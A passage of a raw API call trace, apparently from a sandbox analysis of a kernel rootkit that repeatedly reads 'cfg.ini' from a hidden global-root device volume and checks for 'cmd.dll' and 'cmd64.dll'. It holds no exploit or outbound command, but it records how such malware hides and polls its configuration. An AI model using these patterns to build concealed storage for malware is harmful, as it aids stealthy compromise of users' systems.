out: FastMutex=0xfffffa80027d3898) [0128.277] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe280, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.277] KeLeaveCriticalRegion () [0128.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.277] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.277] KeEnterCriticalRegion () [0128.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.277] ExFreePoolWithTag (P=0xfffffa8003bfe6b0, Tag=0x0) [0128.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.277] KeLeaveCriticalRegion () [0128.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.277] ReleaseMutex (hMutex=0xf0) returned 1 [0128.277] Sleep (dwMilliseconds=0x124f80) [0128.295] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.295] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.295] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.295] KeEnterCriticalRegion () [0128.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.295] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.295] IdePortDispatch () returned 0x103 [0128.295] KeWaitForMutexObject () returned 0x0 [0128.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.297] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.297] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.297] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.297] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.297] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038d0c00 [0128.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.297] KeLeaveCriticalRegion () [0128.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.297] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.297] KeEnterCriticalRegion () [0128.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.297] KeLeaveCriticalRegion () [0128.297] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.297] KeEnterCriticalRegion () [0128.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.297] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.297] IdePortDispatch () returned 0x103 [0128.297] KeWaitForMutexObject () returned 0x0 [0128.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.298] KeLeaveCriticalRegion () [0128.298] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.298] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.298] KeEnterCriticalRegion () [0128.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.298] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003481000 [0128.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.298] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.298] IdePortDispatch () returned 0x103 [0128.298] KeWaitForMutexObject () returned 0x0 [0128.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.299] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.299] IdePortDispatch () returned 0x103 [0128.299] KeWaitForMutexObject () returned 0x0 [0128.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.299] KeLeaveCriticalRegion () [0128.299] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.300] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.300] KeEnterCriticalRegion () [0128.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.300] KeLeaveCriticalRegion () [0128.300] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.300] KeEnterCriticalRegion () [0128.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.300] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe3d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.300] KeLeaveCriticalRegion () [0128.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.300] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.300] KeEnterCriticalRegion () [0128.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.300] ExFreePoolWithTag (P=0xfffffa80038d0c00, Tag=0x0) [0128.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.300] KeLeaveCriticalRegion () [0128.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.300] ReleaseMutex (hMutex=0xf0) returned 1 [0128.300] Sleep (dwMilliseconds=0x124f80) [0128.318] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.318] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.318] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.318] KeEnterCriticalRegion () [0128.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.318] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.318] IdePortDispatch () returned 0x103 [0128.318] KeWaitForMutexObject () returned 0x0 [0128.319] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.319] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.319] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.319] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.319] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.319] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe1c0 [0128.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.319] KeLeaveCriticalRegion () [0128.319] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.319] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.319] KeEnterCriticalRegion () [0128.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.319] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.319] KeLeaveCriticalRegion () [0128.319] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.319] KeEnterCriticalRegion () [0128.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.319] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.319] IdePortDispatch () returned 0x103 [0128.319] KeWaitForMutexObject () returned 0x0 [0128.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.320] KeLeaveCriticalRegion () [0128.320] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.320] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.320] KeEnterCriticalRegion () [0128.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0128.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.320] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.320] IdePortDispatch () returned 0x103 [0128.320] KeWaitForMutexObject () returned 0x0 [0128.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.320] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.320] IdePortDispatch () returned 0x103 [0128.328] KeWaitForMutexObject () returned 0x0 [0128.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.328] KeLeaveCriticalRegion () [0128.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.328] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.328] KeEnterCriticalRegion () [0128.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.328] KeLeaveCriticalRegion () [0128.328] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.329] KeEnterCriticalRegion () [0128.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.329] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.329] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.329] KeLeaveCriticalRegion () [0128.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.329] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.329] KeEnterCriticalRegion () [0128.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.329] ExFreePoolWithTag (P=0xfffffa8003bfe1c0, Tag=0x0) [0128.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.329] KeLeaveCriticalRegion () [0128.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.329] ReleaseMutex (hMutex=0xf0) returned 1 [0128.329] Sleep (dwMilliseconds=0x124f80) [0128.338] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.342] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.342] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.342] KeEnterCriticalRegion () [0128.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.342] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.342] IdePortDispatch () returned 0x103 [0128.342] KeWaitForMutexObject () returned 0x0 [0128.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.343] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.343] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.343] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.343] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.343] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adca70 [0128.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.343] KeLeaveCriticalRegion () [0128.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.343] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.343] KeEnterCriticalRegion () [0128.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.343] KeLeaveCriticalRegion () [0128.343] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.343] KeEnterCriticalRegion () [0128.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.343] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.343] IdePortDispatch () returned 0x103 [0128.343] KeWaitForMutexObject () returned 0x0 [0128.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.343] KeLeaveCriticalRegion () [0128.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.344] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.344] KeEnterCriticalRegion () [0128.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.344] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ab000 [0128.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.344] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.344] IdePortDispatch () returned 0x103 [0128.344] KeWaitForMutexObject () returned 0x0 [0128.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.344] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.344] IdePortDispatch () returned 0x103 [0128.344] KeWaitForMutexObject () returned 0x0 [0128.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.344] KeLeaveCriticalRegion () [0128.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.345] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.345] KeEnterCriticalRegion () [0128.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.345] KeLeaveCriticalRegion () [0128.345] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.345] KeEnterCriticalRegion () [0128.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.345] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.345] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.345] KeLeaveCriticalRegion () [0128.345] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.345] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.345] KeEnterCriticalRegion () [0128.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.346] ExFreePoolWithTag (P=0xfffffa8002adca70, Tag=0x0) [0128.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.346] KeLeaveCriticalRegion () [0128.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.346] ReleaseMutex (hMutex=0xf0) returned 1 [0128.346] Sleep (dwMilliseconds=0x124f80) [0128.357] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.357] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.357] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.357] KeEnterCriticalRegion () [0128.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.357] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.357] IdePortDispatch () returned 0x103 [0128.358] KeWaitForMutexObject () returned 0x0 [0128.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.358] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.358] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.358] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.358] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, 